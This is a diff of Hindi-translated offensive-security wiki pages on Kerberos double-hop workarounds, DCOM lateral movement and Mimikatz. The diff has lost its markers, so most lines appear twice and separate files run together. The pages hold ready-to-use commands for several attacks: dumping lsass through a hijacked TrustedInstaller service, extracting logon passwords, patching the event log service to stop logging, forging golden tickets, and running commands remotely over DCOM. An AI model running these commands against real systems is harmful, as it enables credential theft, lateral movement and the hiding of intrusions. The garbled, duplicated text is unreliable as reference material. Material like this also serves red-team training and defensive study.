यह अत्यधिक अनुशंसा की जाती है कि **CredSSP** को उत्पादन प्रणालियों, संवेदनशील नेटवर्क और समान वातावरण में सुरक्षा चिंताओं के कारण बंद कर दिया जाए। यह निर्धारित करने के लिए कि **CredSSP** सक्षम है या नहीं, `Get-WSManCredSSP` कमांड चलाया जा सकता है। यह कमांड **CredSSP स्थिति की जांच** करने की अनुमति देता है और इसे दूरस्थ रूप से भी निष्पादित किया जा सकता है, बशर्ते **WinRM** सक्षम हो।
```powershell
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
}
```
## उपाय
## Workarounds
### आवाहन कमांड
### Invoke Command
डबल हॉप समस्या का समाधान करने के लिए, एक nested `Invoke-Command` का एक तरीका प्रस्तुत किया गया है। यह समस्या सीधे हल नहीं करता है लेकिन विशेष विन्यास की आवश्यकता न होने पर एक उपाय प्रदान करता है। यह दृष्टिकोण एक कमांड (`hostname`) को एक द्वितीय सर्वर पर क्रियान्वित करने की अनुमति देता है जो एक पहले हमले वाली मशीन से या पहले सर्वर के साथ पहले स्थापित PS-Session के माध्यम से एक्जीक्यूट किया जा सकता है। यहाँ देखें कैसे किया जाता है:
डबल हॉप समस्या को संबोधित करने के लिए, एक नेस्टेड `Invoke-Command` विधि प्रस्तुत की गई है। यह समस्या को सीधे हल नहीं करती है, लेकिन विशेष कॉन्फ़िगरेशन की आवश्यकता के बिना एक वर्कअराउंड प्रदान करती है। यह दृष्टिकोण एक प्रारंभिक हमलावर मशीन से या पहले सर्वर के साथ पहले से स्थापित PS-सेशन के माध्यम से एक द्वितीयक सर्वर पर एक कमांड (`hostname`) निष्पादित करने की अनुमति देता है। इसे इस प्रकार किया जाता है:
```powershell
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
}
```
### पीएससत्री कॉन्फ़िगरेशन पंजीकरण
वैकल्पिक रूप से, पहले सर्वर के साथ एक PS-Session स्थापित करना और `$cred` का उपयोग करके `Invoke-Command` चलाना कार्यों को केंद्रीकृत करने के लिए सुझावित है।
डबल हॉप समस्या को अनदेखा करने का एक समाधान `Register-PSSessionConfiguration` का उपयोग `Enter-PSSession` के साथ करना है। यह विधि `evil-winrm` से भिन्न दृष्टिकोण आवश्यक करती है और डबल हॉप सीमा से पीड़ित नहीं होने वाली सत्र की अनुमति देती है।
### PSSession कॉन्फ़िगरेशन पंजीकरण करें
डबल हॉप समस्या को बायपास करने के लिए एक समाधान में `Enter-PSSession` के साथ `Register-PSSessionConfiguration` का उपयोग करना शामिल है। इस विधि के लिए `evil-winrm` की तुलना में एक अलग दृष्टिकोण की आवश्यकता होती है और यह एक ऐसा सत्र प्रदान करती है जो डबल हॉप सीमा से प्रभावित नहीं होता है।
```powershell
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
Restart-Service WinRM
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
klist
```
### पोर्ट फॉरवर्डिंग
### PortForwarding
एक बाध्य लक्ष्य पर स्थानीय प्रशासकों के लिए, पोर्ट फॉरवर्डिंग अंतिम सर्वर को भेजने की अनुरोधों को भेजने की अनुमति देता है। `netsh` का उपयोग करके, एक नियम पोर्ट फॉरवर्डिंग के लिए जोड़ा जा सकता है, साथ ही एक Windows फ़ायरवॉल नियम भी जोड़ा जा सकता है जिससे फॉरवर्ड किए गए पोर्ट को अनुमति दी जा सकती है
स्थानीय प्रशासकों के लिए एक मध्यवर्ती लक्ष्य पर, पोर्ट फॉरवर्डिंग अंतिम सर्वर पर अनुरोध भेजने की अनुमति देता है। `netsh` का उपयोग करते हुए, पोर्ट फॉरवर्डिंग के लिए एक नियम जोड़ा जा सकता है, साथ ही फॉरवर्डेड पोर्ट की अनुमति देने के लिए एक Windows फ़ायरवॉल नियम
```bash
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
```
#### winrs.exe
`winrs.exe` का उपयोग WinRM अनुरोधों को आगे भेजने के लिए किया जा सकता है, संभावित रूप से एक कम संवेदनशील विकल्प अगर PowerShell मॉनिटरिंग एक चिंता है। नीचे दिए गए कमांड का उपयोग दिखाता है:
`winrs.exe` का उपयोग WinRM अनुरोधों को अग्रेषित करने के लिए किया जा सकता है, यदि PowerShell निगरानी एक चिंता का विषय है तो यह एक कम पहचानने योग्य विकल्प हो सकता है। नीचे दिए गए कमांड इसका उपयोग प्रदर्शित करते हैं:
```bash
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
```
### OpenSSH
पहले सर्वर पर OpenSSH इंस्टॉल करने से डबल हॉप समस्या के लिए एक workaround सक्षम होता है, जो जंप बॉक्स स्थितियों के लिए विशेष रूप से उपयोगी है। इस विधि में CLI इंस्टॉलेशन और Windows के लिए OpenSSH की सेटअप की आवश्यकता होती है। जब पासवर्ड प्रमाणीकरण के लिए कॉन्फ़िगर किया जाता है, तो इससे अंतरिक्ष सर्वर को उपयोगकर्ता के पक्ष में एक TGT प्राप्त करने की अनुमति होती है।
पहले सर्वर पर OpenSSH स्थापित करना डबल-हॉप समस्या के लिए एक वर्कअराउंड सक्षम करता है, जो विशेष रूप से जंप बॉक्स परिदृश्यों के लिए उपयोगी है। इस विधि के लिए Windows के लिए OpenSSH की CLI स्थापना और सेटअप की आवश्यकता होती है। जब इसे पासवर्ड प्रमाणीकरण के लिए कॉन्फ़िगर किया जाता है, तो यह मध्यवर्ती सर्वर को उपयोगकर्ता की ओर से TGT प्राप्त करने की अनुमति देता है।
#### OpenSSH इंस्टॉलेशन कदम
#### OpenSSH स्थापना चरण
1. नवीनतम OpenSSH रिलीज़ ज़िप डाउनलोड करें और टारगेट सर्वर पर ले जाएं।
2. ज़िप फ़ाइल को अनज़िप करें और `Install-sshd.ps1` स्क्रिप्ट चलाएं
3. पोर्ट 22 खोलने के लिए फ़ायरवॉल नियम जोड़ें और सत्यापित करें कि SSH सेवाएँ चल रही हैं।
1. नवीनतम OpenSSH रिलीज़ ज़िप को लक्षित सर्वर पर डाउनलोड और स्थानांतरित करें।
2. ज़िप निकालें और `Install-sshd.ps1` स्क्रिप्ट चलाएँ
3. पोर्ट 22 खोलने के लिए एक फ़ायरवॉल नियम जोड़ें और सुनिश्चित करें कि SSH सेवाएँ चल रही हैं।
`Connection reset` त्रुटियों को हल करने के लिए, अनुमतियों को अपडेट करने की आवश्यकता हो सकती है ताकि OpenSSH निर्देशिका पर सभी को पढ़ने और क्रियान्वित करने की पहुँच हो
`Connection reset` त्रुटियों को हल करने के लिए, अनुमतियों को अपडेट करने की आवश्यकता हो सकती है ताकि सभी को OpenSSH निर्देशिका पर पढ़ने और निष्पादित करने की अनुमति मिल सके
```bash
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
```
## संदर्भ
## References
* [https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20)
* [https://posts.slayerlabs.com/double-hop/](https://posts.slayerlabs.com/double-hop/)
@ -104,14 +110,17 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**द पीएएस फैमिली**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक पीएएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com)
* **जुड़ें** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) से या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें द्वारा पीआर जमा करके** [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud).
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# DCOM Exec
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप एक **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित होते देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण तक पहुंच** या **HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **अपने हैकिंग ट्रिक्स साझा करें PRs को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) में सबमिट करके।.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
@ -22,16 +25,15 @@
## MMC20.Application
**इस तकनीक के बारे में अधिक जानकारी के लिए [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) से मूल पोस्ट देखें**
**इस तकनीक के बारे में अधिक जानकारी के लिए [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/) से मूल पोस्ट देखें**
Distributed Component Object Model (DCOM) ऑब्जेक्ट्स नेटवर्क-आधारित इंटरैक्शन के लिए एक दिलचस्प क्षमता प्रस्तुत करते हैं। Microsoft DCOM और Component Object Model (COM) के लिए व्यापक दस्तावेज़ प्रदान करता है, जो [DCOM के लिए यहाँ](https://msdn.microsoft.com/en-us/library/cc226801.aspx) और [COM के लिए यहाँ](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx) उपलब्ध है। DCOM अनुप्रयोगों की एक सूची PowerShell कमांड का उपयोग करके प्राप्त की जा सकती है:
Distributed Component Object Model (DCOM) ऑब्जेक्ट्स नेटवर्क-आधारित इंटरैक्शन के लिए एक दिलचस्प क्षमता प्रस्तुत करते हैं। Microsoft DCOM और Component Object Model (COM) के लिए व्यापक दस्तावेज़ प्रदान करता है, जो [यहां DCOM के लिए](https://msdn.microsoft.com/en-us/library/cc226801.aspx) और [यहां COM के लिए](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx) उपलब्ध है। DCOM अनुप्रयोगों की एक सूची PowerShell कमांड का उपयोग करके प्राप्त की जा सकती है:
```bash
Get-CimInstance Win32_DCOMApplication
```
The COM object, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), MMC स्नैप-इन संचालन के स्क्रिप्टिंग की अनुमति देता है। विशेष रूप से, इस ऑब्जेक्ट में `Document.ActiveView` के तहत `ExecuteShellCommand` विधि शामिल है। इस विधि के बारे में अधिक जानकारी [यहां](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx) मिल सकती है। इसे चलाते हुए जांचें:
यह सुविधा एक नेटवर्क के माध्यम से DCOM एप्लिकेशन के माध्यम से कमांड निष्पादन की सुविधा प्रदान करती है। एक व्यवस्थापक के रूप में दूरस्थ रूप से DCOM के साथ बातचीत करने के लिए, PowerShell का उपयोग निम्नलिखित तरीके से किया जा सकता है:
यह सुविधा एक DCOM एप्लिकेशन के माध्यम से नेटवर्क पर कमांड निष्पादित कर की सुविधा प्रदान करती है। एक व्यवस्थापक के रूप में दूरस्थ रूप से DCOM के साथ बातचीत करने के लिए, PowerShell का उपयोग निम्नलिखित तरीके से किया जा सकता है:
```powershell
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
```
@ -60,9 +62,9 @@ ls \\10.10.10.10\c$\Users
दो विशिष्ट ऑब्जेक्ट, `ShellBrowserWindow` और `ShellWindows`, को स्पष्ट Launch Permissions की कमी के कारण उजागर किया गया। `HKCR:\AppID\{guid}` के तहत `LaunchPermission` रजिस्ट्री प्रविष्टि की अनुपस्थिति स्पष्ट अनुमतियों की कमी को दर्शाती है।
### ShellWindows
`ShellWindows` के लिए, जिसमें ProgID की कमी है, .NET विधियाँ `Type.GetTypeFromCLSID` और `Activator.CreateInstance` इसके AppID का उपयोग करके ऑब्जेक्ट निर्माण की सुविधा प्रदान करती हैं। यह प्रक्रिया `ShellWindows` के लिए CLSID प्राप्त करने के लिए OleView .NET का उपयोग करती है। एक बार निर्माण के बाद, `WindowsShell.Item` विधि के माध्यम से बातचीत संभव है, जिससे `Document.Application.ShellExecute` जैसी विधियों का आह्वान होता है।
`ShellWindows` के लिए, जिसमें ProgID की कमी है, .NET विधियाँ `Type.GetTypeFromCLSID` और `Activator.CreateInstance` इसके AppID का उपयोग करके ऑब्जेक्ट इंस्टेंशिएट करने में सहायता करती हैं। यह प्रक्रिया `ShellWindows` के लिए CLSID प्राप्त करने के लिए OleView .NET का उपयोग करती है। एक बार इंस्टेंशिएट होने के बाद, `WindowsShell.Item` विधि के माध्यम से इंटरैक्शन संभव है, जिससे `Document.Application.ShellExecute` जैसी विधियों का आह्वान होता है।
ऑब्जेक्ट को निर्माण करने और दूरस्थ रूप से आदेश निष्पादित करने के लिए उदाहरण PowerShell कमांड प्रदान किए गए थे:
ऑब्जेक्ट को इंस्टेंशिएट करने और दूरस्थ रूप से कमांड निष्पादित करने के लिए उदाहरण PowerShell कमांड प्रदान किए गए थे:
```powershell
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)

View file

@ -1,130 +1,214 @@
# Mimikatz
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** (https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को PRs सबमिट करके**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**यह पृष्ठ [adsecurity.org](https://adsecurity.org/?page\_id=1821) से आधारित है** अधिक जानकारी के लिए मूल चेक करें!
**यह पृष्ठ [adsecurity.org](https://adsecurity.org/?page\_id=1821) से आधारित है** अधिक जानकारी के लिए मूल देखें!
## LM और Clear-Text में मेमोरी
## LM और मेमोरी में स्पष्ट-टेक्स्ट
Windows 8.1 और Windows Server 2012 R2 से आगे, credential चोरी से बचाव के लिए महत्वपूर्ण उपाय लागू किए गए हैं:
Windows 8.1 और Windows Server 2012 R2 से आगे, क्रेडेंशियल चोरी के खिलाफ सुरक्षा के लिए महत्वपूर्ण उपाय लागू किए गए हैं:
- **LM hashes और plain-text passwords** को सुरक्षा बढ़ाने के लिए मेमोरी में अब नहीं रखा जाता है। एक विशेष रजिस्ट्री सेटिंग, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ को एक DWORD मान `0` के साथ कॉन्फ़िगर करना होगा ताकि Digest Authentication को अक्षम करें, यह सुनिश्चित करता है कि "clear-text" passwords LSASS में कैश नहीं होते हैं।
- **LM हैश और स्पष्ट-टेक्स्ट पासवर्ड** अब मेमोरी में संग्रहीत नहीं किए जाते हैं ताकि सुरक्षा बढ़ सके। एक विशेष रजिस्ट्री सेटिंग, _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ को `0` के DWORD मान के साथ कॉन्फ़िगर किया जाना चाहिए ताकि डाइजेस्ट प्रमाणीकरण को निष्क्रिय किया जा सके, यह सुनिश्चित करते हुए कि "स्पष्ट-टेक्स्ट" पासवर्ड LSASS में कैश नहीं किए जाते हैं।
- **LSA Protection** को प्रावधान किया गया है ताकि अनधिकृत मेमोरी पढ़ने और कोड इंजेक्शन से सुरक्षा प्राधान किया जा सके। इसे LSASS को एक संरक्षित प्रक्रिया के रूप में चिह्नित करके प्राप्त किया जाता है। LSA Protection को सक्रिय करने के लिए:
1. _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ पर रजिस्ट्री को संशोधित करके `RunAsPPL` को `dword:00000001` पर सेट करना।
2. एक समूह नीति वस्तु (GPO) को लागू करना जो प्रबंधित उपकरणों पर इस रजिस्ट्री परिवर्तन को प्रवर्तित करती है।
- **LSA सुरक्षा** को स्थानीय सुरक्षा प्राधिकरण (LSA) प्रक्रिया को अनधिकृत मेमोरी पढ़ने और कोड इंजेक्शन से बचाने के लिए पेश किया गया है। यह LSASS को एक संरक्षित प्रक्रिया के रूप में चिह्नित करके प्राप्त किया जाता है। LSA सुरक्षा को सक्रिय करने में शामिल हैं:
1. _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ पर रजिस्ट्री को संशोधित करना, `RunAsPPL` को `dword:00000001` पर सेट करना।
2. एक समूह नीति वस्तु (GPO) को लागू करना जो प्रबंधित उपकरणों में इस रजिस्ट्री परिवर्तन को लागू करता है।
इन सुरक्षाओं के बावजूद, Mimikatz जैसे उपकरण LSA Protection को निषेधित कर सकते हैं विशेष ड्राइवर्स का उपयोग करके, हालांकि ऐसे कार्रवाई का संभावना है कि इवेंट लॉग में दर्ज किया जाए
इन सुरक्षा उपायों के बावजूद, Mimikatz जैसे उपकरण विशिष्ट ड्राइवरों का उपयोग करके LSA सुरक्षा को बायपास कर सकते हैं, हालांकि ऐसे कार्यों को घटना लॉग में रिकॉर्ड किया जाने की संभावना है
### SeDebugPrivilege Removal का विरोध करना
### SeDebugPrivilege हटाने का प्रतिकार
सामान्यत: SeDebugPrivilege होता है, जो प्रोग्रामों को debug करने की अनुमति देता है। इस विशेषाधिकार को अनधिकृत मेमोरी डंप्स को रोकने के लिए प्रतिबंधित किया जा सकता है, जो हमलावरों द्वारा credential को मेमोरी से निकालने के लिए एक सामान्य तकनीक है। हालाकि, इस विशेषाधिकार को हटाने के बावजूद, TrustedInstaller खाता एक अनुकूलित सेवा कॉन्फ़िगरेशन का उपयोग करके मेमोरी डंप्स कर सकता है:
प्रशासकों के पास आमतौर पर SeDebugPrivilege होता है, जो उन्हें कार्यक्रमों को डिबग करने की अनुमति देता है। इस विशेषाधिकार को अनधिकृत मेमोरी डंप को रोकने के लिए प्रतिबंधित किया जा सकता है, जो हमलावरों द्वारा मेमोरी से क्रेडेंशियल निकालने के लिए उपयोग की जाने वाली एक सामान्य तकनीक है। हालाकि, इस विशेषाधिकार को हटाने के बावजूद, TrustedInstaller खाता अभी भी एक अनुकूलित सेवा कॉन्फ़िगरेशन का उपयोग करके मेमोरी डंप कर सकता है:
```bash
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller
```
यह `lsass.exe` मेमोरी को एक फ़ाइल में डंप करने की अनुमति देता है, जिसे फिर दूसरे सिस्टम पर विश्लेषित किया जा सकता है ताकि क्रेडेंशियल्स निकाले जा सकें:
यह `lsass.exe` मेमोरी को एक फ़ाइल में डंप करने की अनुमति देता है, जिसे फिर किसी अन्य सिस्टम पर क्रेडेंशियल्स निकालने के लिए विश्लेषित किया जा सकता है:
```
# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords
```
## Mimikatz विकल्प
## Mimikatz Options
Mimikatz में घटना लॉग टैंपरिंग में दो मुख्य क्रियाएँ शामिल हैं: घटना लॉग साफ करना और नए घटनाओं का लॉगिंग रोकने के लिए ईवेंट सेवा को पैच करना। नीचे इन क्रियाओं को करने के लिए कमांड हैं:
Mimikatz में इवेंट लॉग छेड़छाड़ में दो मुख्य क्रियाएँ शामिल हैं: इवेंट लॉग को साफ करना और नए इवेंट्स के लॉगिंग को रोकने के लिए इवेंट सेवा को पैच करना। नीचे इन क्रियाओं को करने के लिए कमांड दिए गए हैं:
#### घटना लॉग साफ करना
#### Clearing Event Logs
- **कमांड**: यह क्रिया घटना लॉग को हटाने का लक्ष्य रखती है, जिससे दुष्ट गतिविधियों को ट्रैक करना कठिन हो जाता है।
- Mimikatz अपने मानक दस्तावेज़ में सीधा कमांड प्रदान नहीं करता है जिससे इसके कमांड लाइन के माध्यम से घटना लॉग को सीधे हटाया जा सके। हालांकि, घटना लॉग मेनिपुलेशन आम तौर पर Mimikatz के बाहर सिस्टम टूल्स या स्क्रिप्ट का उपयोग करके विशेष लॉग को साफ करने में शामिल होता है (जैसे, PowerShell या Windows ईवेंट व्यूअर का उपयोग करके)।
- **Command**: यह क्रिया इवेंट लॉग को हटाने के लिए है, जिससे दुर्भावनापूर्ण गतिविधियों को ट्रैक करना कठिन हो जाता है।
- Mimikatz अपने मानक दस्तावेज़ में सीधे इवेंट लॉग को उसके कमांड लाइन के माध्यम से साफ करने के लिए कोई सीधा कमांड प्रदान नहीं करता है। हालाँकि, इवेंट लॉग हेरफेर आमतौर पर Mimikatz के बाहर सिस्टम टूल या स्क्रिप्ट का उपयोग करके विशिष्ट लॉग को साफ करने में शामिल होता है (जैसे, PowerShell या Windows Event Viewer का उपयोग करना)।
#### प्रयोगात्मक सुविधा: ईवेंट सेवा को पैच करना
#### Experimental Feature: Patching the Event Service
- **कमांड**: `event::drop`
- यह प्रयोगात्मक कमांड वेंट लॉगिंग सेवा के व्यवहार को संशोधित करने के लिए डिज़ाइन किया गया है, जिससे नए घटनों को रिकॉर्ड करने से रोका जा सके
- उदाहरण: `mimikatz "privilege::debug" "event::drop" exit`
- **Command**: `event::drop`
- यह प्रयोगात्मक कमांड वेंट लॉगिंग सेवा के व्यवहार को संशोधित करने के लिए डिज़ाइन किया गया है, प्रभावी रूप से इसे नए इवेंट्स को रिकॉर्ड करने से रोकता है
- Example: `mimikatz "privilege::debug" "event::drop" exit`
- `privilege::debug` कमांड सुनिश्चित करता है कि Mimikatz आवश्यक विशेषाधिकारों के साथ सिस्टम सेवाओं को संशोधित कर
- `event::drop` कमांड फिर वेंट लॉगिंग सेवा को पैच करता है।
- `privilege::debug` कमांड सुनिश्चित करता है कि Mimikatz आवश्यक विशेषाधिकारों के साथ सिस्टम सेवाओं को संशोधित करता है
- `event::drop` कमांड फिर वेंट लॉगिंग सेवा को पैच करता है।
### Kerberos Ticket Attacks
### कर्बेरोस टिकट हमले
### Golden Ticket Creation
### गोल्डन टिकट निर्माण
एक Golden Ticket डोमेन-व्यापी एक्सेस अनुकरण की अनुमति देता है। मुख्य कमांड और पैरामीटर:
गोल्डन टिकट डोमेन-व्यापी पहुंच अनुकरण की अनुमति देता है। मुख्य कमांड और पैरामीटर:
- कमांड: `kerberos::golden`
- पैरामीटर:
- Command: `kerberos::golden`
- Parameters:
- `/domain`: डोमेन का नाम।
- `/sid`: डोमेन का सुरक्षा पहचानकर्ता (SID)।
- `/user`: अनुकरण करने के लिए उपयोगकर्ता नाम।
- `/krbtgt`: डोमेन के KDC सेवा खाते का NTLM हैश।
- `/ptt`: सीधे टिकट को मेमोरी में इंजेक्ट करता है।
- `/ticket`: बाद में उपयोग के लिए टिकट सहेजता है।
- `/ptt`: सीधे मेमोरी में टिकट को इंजेक्ट करता है।
- `/ticket`: बाद में उपयोग के लिए टिकट को सहेजता है।
उदाहरण:
Example:
```bash
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
```
### सिल्वर टिकट निर्माण
### Silver Ticket Creation
सिल्वर टिकट विशिष्ट सेवाओं तक पहुंचने की अनुमति देते हैं। मुख्य कमांड और पैरामीटर:
Silver Tickets विशिष्ट सेवाओं तक पहुँच प्रदान करते हैं। मुख्य कमांड और पैरामीटर:
- कमांड: गोल्डन टिकट के समान है लेकिन विशिष्ट सेवाओं को लक्षित करता ह।
- पैरामीटर:
- Command: Golden Ticket के समान लेकिन विशिष्ट सेवाओं को लक्षित करता ह
- Parameters:
- `/service`: लक्षित सेवा (जैसे, cifs, http)।
- गोल्डन टिकट के समान अन्य पैरामीटर।
